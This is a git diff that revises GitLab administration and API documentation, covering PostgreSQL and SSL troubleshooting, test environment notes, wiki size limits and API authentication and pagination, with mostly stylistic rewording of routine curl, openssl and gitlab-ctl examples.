@@ -24,51 +25,57 @@ This section is for links to information elsewhere in the GitLab documentation.
### Procedures
-- [Connect to the PostgreSQL console.](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
+- [Connect to the PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database).
-- [Omnibus database procedures](https://docs.gitlab.com/omnibus/settings/database.html) including
+- [Omnibus database procedures](https://docs.gitlab.com/omnibus/settings/database.html) including:
- SSL: enabling, disabling, and verifying.
- Enabling Write Ahead Log (WAL) archiving.
- Using an external (non-Omnibus) PostgreSQL installation; and backing it up.
- Listening on TCP/IP as well as or instead of sockets.
- Storing data in another location.
- Destructively reseeding the GitLab database.
- - Guidance around updating packaged PostgreSQL, including how to stop it happening automatically.
+ - Guidance around updating packaged PostgreSQL, including how to stop it
+ happening automatically.
-- [More about external PostgreSQL](../postgresql/external.md)
+- [Information about external PostgreSQL](../postgresql/external.md).
-- [Running Geo with external PostgreSQL](../geo/setup/external_database.md)
+- [Running Geo with external PostgreSQL](../geo/setup/external_database.md).
-- [Upgrades when running PostgreSQL configured for HA.](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster)
+- [Upgrades when running PostgreSQL configured for HA](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster).
-- Consuming PostgreSQL from [within CI runners](../../ci/services/postgres.md)
+- Consuming PostgreSQL from [within CI runners](../../ci/services/postgres.md).
-- [Using Slony to update PostgreSQL](../../update/upgrading_postgresql_using_slony.md)
- - Uses replication to handle PostgreSQL upgrades - providing the schemas are the same.
- - Reduces downtime to a short window for swinging over to the newer version.
+- [Using Slony to update PostgreSQL](../../update/upgrading_postgresql_using_slony.md).
+ - Uses replication to handle PostgreSQL upgrades if the schemas are the same.
+ - Reduces downtime to a short window for switching to the newer version.
-- Managing Omnibus PostgreSQL versions [from the development docs](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions.html)
+- Managing Omnibus PostgreSQL versions [from the development docs](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions.html).
- [PostgreSQL scaling](../postgresql/replication_and_failover.md)
- - including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting) `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if you are using Patroni) and PgBouncer errors
+ - Including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting)
+ `gitlab-ctl repmgr-check-master` (or `gitlab-ctl patroni check-leader` if
+ you're using Patroni) and PgBouncer errors.
-- [Developer database documentation](../../development/README.md#database-guides) - some of which is absolutely not for production use. Including:
- - understanding EXPLAIN plans
+- [Developer database documentation](../../development/README.md#database-guides),
+ some of which is absolutely not for production use. Including:
+ - Understanding EXPLAIN plans.
### Troubleshooting/Fixes
-- [GitLab database requirements](../../install/requirements.md#database) including
- - Support for MySQL was removed in GitLab 12.1; [migrate to PostgreSQL](../../update/mysql_to_postgresql.md)
- - required extension `pg_trgm`
- - required extension `btree_gist`
+- [GitLab database requirements](../../install/requirements.md#database),
+ including
+ - Support for MySQL was removed in GitLab 12.1; [migrate to PostgreSQL](../../update/mysql_to_postgresql.md).
+ - Required extension: `pg_trgm`
+ - Required extension: `btree_gist`
-- Errors like this in the `production/sidekiq` log; see: [Set default_transaction_isolation into read committed](https://docs.gitlab.com/omnibus/settings/database.html#set-default_transaction_isolation-into-read-committed):
+- Errors like this in the `production/sidekiq` log; see:
+ [Set default_transaction_isolation into read committed](https://docs.gitlab.com/omnibus/settings/database.html#set-default_transaction_isolation-into-read-committed):
```plaintext
ActiveRecord::StatementInvalid PG::TRSerializationFailure: ERROR: could not serialize access due to concurrent update
```
-- PostgreSQL HA - [replication slot errors](https://docs.gitlab.com/omnibus/settings/database.html#troubleshooting-upgrades-in-an-ha-cluster):
+- PostgreSQL HA [replication slot errors](https://docs.gitlab.com/omnibus/settings/database.html#troubleshooting-upgrades-in-an-ha-cluster):
```plaintext
pg_basebackup: could not create temporary replication slot "pg_basebackup_12345": ERROR: all replication slots are in use
@@ -87,11 +94,11 @@ This section is for links to information elsewhere in the GitLab documentation.
PANIC: could not write to file ‘pg_xlog/xlogtemp.123’: No space left on device
```
-- [Checking Geo configuration](../geo/replication/troubleshooting.md) including
- - reconfiguring hosts/ports
- - checking and fixing user/password mappings
+- [Checking Geo configuration](../geo/replication/troubleshooting.md), including:
+ - Reconfiguring hosts/ports.
+ - Checking and fixing user/password mappings.
-- [Common Geo errors](../geo/replication/troubleshooting.md#fixing-common-errors)
+- [Common Geo errors](../geo/replication/troubleshooting.md#fixing-common-errors).
## Support topics
@@ -99,9 +106,12 @@ This section is for links to information elsewhere in the GitLab documentation.
References:
-- [Issue #1 Deadlocks with GitLab 12.1, PostgreSQL 10.7](https://gitlab.com/gitlab-org/gitlab/-/issues/30528)
-- [Customer ticket (internal) GitLab 12.1.6](https://gitlab.zendesk.com/agent/tickets/134307) and [Google doc (internal)](https://docs.google.com/document/d/19xw2d_D1ChLiU-MO1QzWab-4-QXgsIUcN5e_04WTKy4)
-- [Issue #2 deadlocks can occur if an instance is flooded with pushes](https://gitlab.com/gitlab-org/gitlab/-/issues/33650). Provided for context about how GitLab code can have this sort of unanticipated effect in unusual situations.
+- [Issue #1 Deadlocks with GitLab 12.1, PostgreSQL 10.7](https://gitlab.com/gitlab-org/gitlab/-/issues/30528).
+- [Customer ticket (internal) GitLab 12.1.6](https://gitlab.zendesk.com/agent/tickets/134307)
+ and [Google doc (internal)](https://docs.google.com/document/d/19xw2d_D1ChLiU-MO1QzWab-4-QXgsIUcN5e_04WTKy4).
+- [Issue #2 deadlocks can occur if an instance is flooded with pushes](https://gitlab.com/gitlab-org/gitlab/-/issues/33650).
+ Provided for context about how GitLab code can have this sort of
+ unanticipated effect in unusual situations.
```plaintext
ERROR: deadlock detected
@@ -119,17 +129,29 @@ Quoting from issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528):
> "If a deadlock is hit, and we resolve it through aborting the transaction after a short period, then the retry mechanisms we already have will make the deadlocked piece of work try again, and it's unlikely we'll deadlock multiple times in a row."
-TIP: **Tip:**
-In support, our general approach to reconfiguring timeouts (applies also to the HTTP stack as well) is that it's acceptable to do it temporarily as a workaround. If it makes GitLab usable for the customer, then it buys time to understand the problem more completely, implement a hot fix, or make some other change that addresses the root cause. Generally, the timeouts should be put back to reasonable defaults once the root cause is resolved.
+NOTE:
+In Support, our general approach to reconfiguring timeouts (applies also to the
+HTTP stack) is that it's acceptable to do it temporarily as a workaround. If it
+makes GitLab usable for the customer, then it buys time to understand the
+problem more completely, implement a hot fix, or make some other change that
+addresses the root cause. Generally, the timeouts should be put back to
+reasonable defaults after the root cause is resolved.
-In this case, the guidance we had from development was to drop deadlock_timeout and/or statement_timeout but to leave the third setting at 60s. Setting idle_in_transaction protects the database from sessions potentially hanging for days. There's more discussion in [the issue relating to introducing this timeout on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1053).
+In this case, the guidance we had from development was to drop deadlock_timeout
+or statement_timeout, but to leave the third setting at 60s. Setting
+idle_in_transaction protects the database from sessions potentially hanging for
+days. There's more discussion in [the issue relating to introducing this timeout on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1053).
PostgresSQL defaults:
- `statement_timeout = 0` (never)
- `idle_in_transaction_session_timeout = 0` (never)
-Comments in issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528) indicate that these should both be set to at least a number of minutes for all Omnibus installations (so they don't hang indefinitely). However, 15s for statement_timeout is very short, and will only be effective if the underlying infrastructure is very performant.
+Comments in issue [#1](https://gitlab.com/gitlab-org/gitlab/-/issues/30528)
+indicate that these should both be set to at least a number of minutes for all
+Omnibus GitLab installations (so they don't hang indefinitely). However, 15s
+for statement_timeout is very short, and will only be effective if the
+underlying infrastructure is very performant.
See current settings with:
@@ -147,5 +169,5 @@ It may take a little while to respond.
{"idle_in_transaction_session_timeout"=>"1min"}
```
-NOTE: **Note:**
+NOTE:
These are Omnibus GitLab settings. If an external database, such as a customer's PostgreSQL installation or Amazon RDS is being used, these values don't get set, and would have to be set externally.
diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md
index d415aa0d980..e4082f87c7d 100644
--- a/doc/administration/troubleshooting/sidekiq.md
+++ b/doc/administration/troubleshooting/sidekiq.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting Sidekiq
diff --git a/doc/administration/troubleshooting/ssl.md b/doc/administration/troubleshooting/ssl.md
index 996856521b7..d7bfd537eca 100644
--- a/doc/administration/troubleshooting/ssl.md
+++ b/doc/administration/troubleshooting/ssl.md
@@ -1,32 +1,36 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# Troubleshooting SSL
-This page contains a list of common SSL-related errors and scenarios that you may face while working with GitLab.
-It should serve as an addition to the main SSL docs available here:
+This page contains a list of common SSL-related errors and scenarios that you
+may encounter while working with GitLab. It should serve as an addition to the
+main SSL docs available here:
-- [Omnibus SSL Configuration](https://docs.gitlab.com/omnibus/settings/ssl.html)
-- [Self-signed certificates or custom Certification Authorities for GitLab Runner](https://docs.gitlab.com/runner/configuration/tls-self-signed.html)
-- [Manually configuring HTTPS](https://docs.gitlab.com/omnibus/settings/nginx.html#manually-configuring-https)
+- [Omnibus SSL Configuration](https://docs.gitlab.com/omnibus/settings/ssl.html).
+- [Self-signed certificates or custom Certification Authorities for GitLab Runner](https://docs.gitlab.com/runner/configuration/tls-self-signed.html).
+- [Manually configuring HTTPS](https://docs.gitlab.com/omnibus/settings/nginx.html#manually-configuring-https).
## Using an internal CA certificate with GitLab
-After configuring a GitLab instance with an internal CA certificate, you might not be able to access it via various CLI tools. You may see the following symptoms:
+After configuring a GitLab instance with an internal CA certificate, you might
+not be able to access it by using various CLI tools. You may see experience the
+following issues:
- `curl` fails:
```shell
- curl https://gitlab.domain.tld
+ curl "https://gitlab.domain.tld"
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html
```
-- Testing via the [rails console](../operations/rails_console.md#starting-a-rails-console-session) also fails:
+- Testing by using the [rails console](../operations/rails_console.md#starting-a-rails-console-session)
+ also fails:
```ruby
uri = URI.parse("https://gitlab.domain.tld")
@@ -40,33 +44,36 @@ After configuring a GitLab instance with an internal CA certificate, you might n
OpenSSL::SSL::SSLError (SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate))
```
-- The error `SSL certificate problem: unable to get local issuer certificate` is shown when setting up a [mirror](../../user/project/repository/repository_mirroring.md#repository-mirroring) from this GitLab instance.
+- The error `SSL certificate problem: unable to get local issuer certificate`
+ is displayed when setting up a [mirror](../../user/project/repository/repository_mirroring.md#repository-mirroring)
+ from this GitLab instance.
- `openssl` works when specifying the path to the certificate:
```shell
/opt/gitlab/embedded/bin/openssl s_client -CAfile /root/my-cert.crt -connect gitlab.domain.tld:443
```
-If you have the problems listed above, add your certificate to `/etc/gitlab/trusted-certs` and run `sudo gitlab-ctl reconfigure`.
+If you have the previously described issues, add your certificate to
+`/etc/gitlab/trusted-certs`, and then run `sudo gitlab-ctl reconfigure`.
## X.509 key values mismatch error
-After configuring your instance with a certificate bundle, NGINX may throw the
-following error:
+After configuring your instance with a certificate bundle, NGINX may display
+the following error message:
`SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch`
-This error means that the server certificate and key you have provided do not
-match. You can confirm this by running the following command and comparing the
-output:
+This error message means that the server certificate and key you have provided
+don't match. You can confirm this by running the following command and then
+comparing the output:
```shell
openssl rsa -noout -modulus -in path/to/your/.key | openssl md5
openssl x509 -noout -modulus -in path/to/your/.crt | openssl md5
```
-The following is an example of an md5 output between a matching key and certificate. Note the
-matching md5 hashes:
+The following is an example of an md5 output between a matching key and
+certificate. Note the matching md5 hashes:
```shell
$ openssl rsa -noout -modulus -in private.key | openssl md5
@@ -75,7 +82,8 @@ $ openssl x509 -noout -modulus -in public.crt | openssl md5
4f49b61b25225abeb7542b29ae20e98c
```
-This is an opposing output with a non-matching key and certificate which shows different md5 hashes:
+This is an opposing output with a non-matching key and certificate which shows
+different md5 hashes:
```shell
$ openssl rsa -noout -modulus -in private.key | openssl md5
@@ -84,14 +92,16 @@ $ openssl x509 -noout -modulus -in public.crt | openssl md5
4f49b61b25225abeb7542b29ae20e98c
```
-If the two outputs differ like the above example, there is a mismatch between the certificate
-and key. You should contact the provider of the SSL certificate for further support.
+If the two outputs differ like the previous example, there's a mismatch between
+the certificate and key. Contact the provider of the SSL certificate for
+further support.
## Using GitLab Runner with a GitLab instance configured with internal CA certificate or self-signed certificate
Besides getting the errors mentioned in
[Using an internal CA certificate with GitLab](ssl.md#using-an-internal-ca-certificate-with-gitlab),
-your CI pipelines may get stuck in `Pending` status. In the runner logs you may see the below error:
+your CI pipelines may get stuck in `Pending` status. In the runner logs you may
+see the following error message:
```shell
Dec 6 02:43:17 runner-host01 gitlab-runner[15131]: #033[0;33mWARNING: Checking for jobs... failed
@@ -100,23 +110,27 @@ https://gitlab.domain.tld/api/v4/jobs/request: Post https://gitlab.domain.tld/ap
x509: certificate signed by unknown authority
```
-If you face similar problem, add your certificate to `/etc/gitlab-runner/certs` and restart the runner via `gitlab-runner restart`.
+If you encounter a similar problem, add your certificate to `/etc/gitlab-runner/certs`,
+and the restart the runner by running `gitlab-runner restart`.
## Mirroring a remote GitLab repository that uses a self-signed SSL certificate
-**Scenario:** When configuring a local GitLab instance to [mirror a repository](../../user/project/repository/repository_mirroring.md) from a remote GitLab instance that uses a self-signed certificate, you may see the `SSL certificate problem: self signed certificate` error in the UI.
+When configuring a local GitLab instance to [mirror a repository](../../user/project/repository/repository_mirroring.md)
+from a remote GitLab instance that uses a self-signed certificate, you may see
+the `SSL certificate problem: self signed certificate` error message in the
+user interface.
The cause of the issue can be confirmed by checking if:
- `curl` fails:
```shell
- $ curl https://gitlab.domain.tld
+ $ curl "https://gitlab.domain.tld"
curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.haxx.se/docs/sslcerts.html
```
-- Testing via the Rails console also fails:
+- Testing by using the Rails console also fails:
```ruby
uri = URI.parse("https://gitlab.domain.tld")
@@ -132,10 +146,15 @@ The cause of the issue can be confirmed by checking if:
To fix this problem:
-- Add the self-signed certificate from the remote GitLab instance to the `/etc/gitlab/trusted-certs` directory on the local GitLab instance and run `sudo gitlab-ctl reconfigure` as per the instructions for [installing custom public certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-- If your local GitLab instance was installed using the Helm Charts, you can [add your self-signed certificate to your GitLab instance](https://docs.gitlab.com/runner/install/kubernetes.html#providing-a-custom-certificate-for-accessing-gitlab).
+- Add the self-signed certificate from the remote GitLab instance to the
+ `/etc/gitlab/trusted-certs` directory on the local GitLab instance, and then
+ run `sudo gitlab-ctl reconfigure` as per the instructions for
+ [installing custom public certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
+- If your local GitLab instance was installed using the Helm Charts, you can
+ [add your self-signed certificate to your GitLab instance](https://docs.gitlab.com/runner/install/kubernetes.html#providing-a-custom-certificate-for-accessing-gitlab).
-You may also get another error when trying to mirror a repository from a remote GitLab instance that uses a self-signed certificate:
+You may also get another error message when trying to mirror a repository from
+a remote GitLab instance that uses a self-signed certificate:
```shell
2:Fetching remote upstream failed: fatal: unable to access &amp;#39;https://gitlab.domain.tld/root/test-repo/&amp;#39;:
@@ -144,12 +163,16 @@ SSL: unable to obtain common name from peer certificate
In this case, the problem can be related to the certificate itself:
-- Double check that your self-signed certificate is not missing a common name. If it is then regenerate a valid certificate
-- add it to `/etc/gitlab/trusted-certs` and run `sudo gitlab-ctl reconfigure`
+1. Validate that your self-signed certificate isn't missing a common name. If it
+ is, regenerate a valid certificate
+1. Add the certificate to `/etc/gitlab/trusted-certs`.
+1. Run `sudo gitlab-ctl reconfigure`.
## Unable to perform Git operations due to an internal or self-signed certificate
-If your GitLab instance is using a self-signed certificate, or the certificate is signed by an internal certificate authority (CA), you might run into the following errors when attempting to perform Git operations:
+If your GitLab instance is using a self-signed certificate, or if the
+certificate is signed by an internal certificate authority (CA), you might
+experience the following errors when attempting to perform Git operations:
```shell
$ git clone https://gitlab.domain.tld/group/project.git
@@ -165,15 +188,19 @@ fatal: unable to access 'https://gitlab.domain.tld/group/project.git/': server c
To fix this problem:
-- If possible, use SSH remotes for all Git operations. This is considered more secure and convenient to use.
+- If possible, use SSH remotes for all Git operations. This is considered more
+ secure and convenient to use.
- If you must use HTTPS remotes, you can try the following:
- - Copy the self signed certificate or the internal root CA certificate to a local directory (for example, `~/.ssl`) and configure Git to trust your certificate:
+ - Copy the self-signed certificate or the internal root CA certificate to a
+ local directory (for example, `~/.ssl`) and configure Git to trust your
+ certificate:
```shell
git config --global http.sslCAInfo ~/.ssl/gitlab.domain.tld.crt
```
- - Disable SSL verification in your Git client. Note that this intended as a temporary measure as it could be considered a **security risk**.
+ - Disable SSL verification in your Git client. Note that this intended as a
+ temporary measure, as it could be considered a security risk.
```shell
git config --global http.sslVerify false
@@ -204,10 +231,10 @@ A misconfiguration may result in:
message: SSL_connect returned=1 errno=0 state=error: wrong version number (OpenSSL::SSL::SSLError)
```
-Some of these errors come from the Excon Ruby gem, and could be generated in circumstances
-where GitLab is configured to initiate an HTTPS session to a remote server
-that is serving just HTTP.
+Some of these errors come from the Excon Ruby gem, and could be generated in
+circumstances where GitLab is configured to initiate an HTTPS session to a
+remote server that is serving only HTTP.
-One scenario is that you're using [object storage](../object_storage.md)
-which is not served under HTTPS. GitLab is misconfigured and attempts a TLS handshake,
+One scenario is that you're using [object storage](../object_storage.md), which
+isn't served under HTTPS. GitLab is misconfigured and attempts a TLS handshake,
but the object storage will respond with plain HTTP.
diff --git a/doc/administration/troubleshooting/test_environments.md b/doc/administration/troubleshooting/test_environments.md
index 9855a27ca30..53e51bbfe80 100644
--- a/doc/administration/troubleshooting/test_environments.md
+++ b/doc/administration/troubleshooting/test_environments.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -13,7 +13,7 @@ for users with experience with these tools. If you are currently having an issue
GitLab, you may want to check your [support options](https://about.gitlab.com/support/)
first, before attempting to use this information.
-NOTE: **Note:**
+NOTE:
This page was initially written for Support Engineers, so some of the links
are only available internally at GitLab.
@@ -103,9 +103,14 @@ docker run -d --name elasticsearch \
docker.elastic.co/elasticsearch/elasticsearch:5.5.1
```
-Then confirm it works in the browser at `curl http://<IP_ADDRESS>:9200/_cat/health`.
+Then confirm it works in the browser at `curl "http://<IP_ADDRESS>:9200/_cat/health"`.
Elasticsearch's default username is `elastic` and password is `changeme`.
+### Kroki
+
+See [our Kroki docs](../integration/kroki.md#docker)
+on running Kroki in Docker.
+
### PlantUML
See [our PlantUML docs](../integration/plantuml.md#docker)
diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md
index 8840c2706d6..2981b9e1368 100644
--- a/doc/administration/troubleshooting/tracing_correlation_id.md
+++ b/doc/administration/troubleshooting/tracing_correlation_id.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -56,10 +56,10 @@ interested in.
### Getting the correlation ID from curl
-If you're using `curl` then you can use the verbose option to show request and response headers, as well as other debug info.
+If you're using `curl` then you can use the verbose option to show request and response headers, as well as other debug information.
```shell
-➜ ~ curl --verbose https://gitlab.example.com/api/v4/projects
+➜ ~ curl --verbose "https://gitlab.example.com/api/v4/projects"
# look for a line that looks like this
< x-request-id: 4rAMkV3gof4
```
diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md
index cd15301edf6..94e7bbe2cff 100644
--- a/doc/administration/uploads.md
+++ b/doc/administration/uploads.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Uploads administration **(CORE ONLY)**
@@ -44,7 +44,7 @@ stored locally, use the steps in this section based on your installation method:
**In Omnibus GitLab installations:**
-NOTE: **Note:**
+NOTE:
For historical reasons, uploads are stored into a base directory, which by
default is `uploads/-/system`. It's strongly discouraged to change this
configuration option for an existing GitLab installation.
diff --git a/doc/administration/user_settings.md b/doc/administration/user_settings.md
index 94ce1debfea..9892d2a0764 100644
--- a/doc/administration/user_settings.md
+++ b/doc/administration/user_settings.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Modifying global user settings
diff --git a/doc/administration/wikis/index.md b/doc/administration/wikis/index.md
index 077b4f064dc..026f9b6f471 100644
--- a/doc/administration/wikis/index.md
+++ b/doc/administration/wikis/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Create
group: Knowledge
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Wiki settings **(CORE ONLY)**
@@ -30,7 +30,7 @@ This setting is not available through the [Admin Area settings](../../user/admin
In order to configure this setting, use either the Rails console
or the [Application settings API](../../api/settings.md).
-NOTE: **Note:**
+NOTE:
The value of the limit **must** be in bytes. The minimum value is 1024 bytes.
#### Through the Rails console
@@ -65,11 +65,11 @@ The process to set the wiki page size limit through the Application Settings API
exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings).
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?wiki_page_max_content_bytes=52428800
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?wiki_page_max_content_bytes=52428800"
```
You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings).
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings"
```
diff --git a/doc/analytics/README.md b/doc/analytics/README.md
index c88f6b4c7cc..7c732f48ba8 100644
--- a/doc/analytics/README.md
+++ b/doc/analytics/README.md
@@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#user-contribution-analysis'
---
This document was moved to [another location](../user/group/index.md#user-contribution-analysis)
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/analytics/contribution_analytics.md b/doc/analytics/contribution_analytics.md
index e36f55071a4..b9a52d9ca68 100644
--- a/doc/analytics/contribution_analytics.md
+++ b/doc/analytics/contribution_analytics.md
@@ -3,3 +3,6 @@ redirect_to: '../user/group/contribution_analytics/index.md'
---
This document was moved to [another location](../user/group/contribution_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/README.md b/doc/api/README.md
index 3933431407c..dced721b018 100644
--- a/doc/api/README.md
+++ b/doc/api/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# API Docs
@@ -97,7 +97,7 @@ HTTP/2 200
This can help you investigate an unexpected response.
-### API Request that includes the exit code
+### API request that includes the exit code
If you want to expose the HTTP exit code, include the `--fail` option:
@@ -107,11 +107,11 @@ curl: (22) The requested URL returned error: 404
```
The HTTP exit code can help you diagnose the success or failure of your REST call.
-
+
## Authentication
-Most API requests require authentication, or will return public data only when
-authentication isn't provided. For cases where it isn't required, this will be
+Most API requests require authentication, or only return public data when
+authentication isn't provided. For cases where it isn't required, this is
mentioned in the documentation for each individual endpoint (for example, the
[`/projects/:id` endpoint](projects.md#get-single-project)).
@@ -123,7 +123,7 @@ There are several methods you can use to authenticate with the GitLab API:
- [Session cookie](#session-cookie)
- [GitLab CI/CD job token](#gitlab-ci-job-token) **(Specific endpoints only)**
-NOTE: **Note:**
+NOTE:
Project access tokens are supported for self-managed instances on Core and
higher. They're also supported on GitLab.com Bronze and higher.
@@ -133,7 +133,7 @@ to build applications or scripts that do so, the following options are available
- [Impersonation tokens](#impersonation-tokens)
- [Sudo](#sudo)
-If authentication information is invalid or omitted, GitLab will return an error
+If authentication information is invalid or omitted, GitLab returns an error
message with a status code of `401`:
```json
@@ -221,13 +221,13 @@ The token is valid as long as the job is running.
### Impersonation tokens
Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md)
-that can only be created by an admin for a specific user. They are a great fit
+that can only be created by an administrator for a specific user. They are a great fit
if you want to build applications or scripts that authenticate with the API as a
specific user.
They're an alternative to directly using the user's password or one of their
personal access tokens, and to using the [Sudo](#sudo) feature, as the user's
-(or admin's, in the case of Sudo) password or token may not be known, or may
+(or administrator's in the case of Sudo) password or token may not be known, or may
change over time.
For more information, see the [users API](users.md#create-an-impersonation-token)
@@ -292,7 +292,7 @@ message with a status code of `403`:
}
```
-If an access token without the `sudo` scope is provided, an error message will
+If an access token without the `sudo` scope is provided, an error message is
be returned with a status code of `403`:
```json
@@ -303,7 +303,7 @@ be returned with a status code of `403`:
}
```
-If the sudo user ID or username cannot be found, an error message will be
+If the sudo user ID or username cannot be found, an error message is
returned with a status code of `404`:
```json
@@ -357,7 +357,7 @@ The following table shows the possible return codes for API requests.
| `204 No Content` | The server has successfully fulfilled the request and that there is no additional content to send in the response payload body. |
| `201 Created` | The `POST` request was successful and the resource is returned as JSON. |
| `304 Not Modified` | Indicates that the resource has not been modified since the last request. |
-| `400 Bad Request` | A required attribute of the API request is missing, e.g., the title of an issue is not given. |
+| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. |
| `401 Unauthorized` | The user is not authenticated, a valid [user token](#authentication) is necessary. |
| `403 Forbidden` | The request is not allowed. For example, the user is not allowed to delete a project. |
| `404 Not Found` | A resource could not be accessed. For example, an ID for a resource could not be found. |
@@ -411,7 +411,7 @@ of the issue with ID `8` which belongs to the project with ID `9`:
curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2"
```
-The response will then be:
+The response is:
```http
HTTP/2 200 OK
@@ -478,8 +478,8 @@ Status: 200 OK
...
```
-CAUTION: **Deprecation:**
-The `Links` header will be removed in GitLab 14.0 to be aligned with the
+WARNING:
+The `Links` header is scheduled to be removed in GitLab 14.0 to be aligned with the
[W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link`
header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714)
and should be used instead.
@@ -525,8 +525,8 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
```
Path parameters that are required to be URL-encoded must be followed. If not,
-it won't match an API endpoint, and will respond with a 404. If there's
-something in front of the API (for example, Apache), ensure that it won't decode
+it doesn't match an API endpoint and responds with a 404. If there's
+something in front of the API (for example, Apache), ensure that it doesn't decode
the URL-encoded path parameters.
## Namespaced path encoding
@@ -591,7 +591,7 @@ We can call the API with `array` and `hash` types parameters as follows:
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
-d "import_sources[]=github" \
-d "import_sources[]=bitbucket" \
-https://gitlab.example.com/api/v4/some_endpoint
+"https://gitlab.example.com/api/v4/some_endpoint"
```
### `hash`
@@ -605,7 +605,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
--form "file=@/path/to/somefile.txt"
--form "override_params[visibility]=private" \
--form "override_params[some_other_param]=some_value" \
-https://gitlab.example.com/api/v4/projects/import
+"https://gitlab.example.com/api/v4/projects/import"
```
### Array of hashes
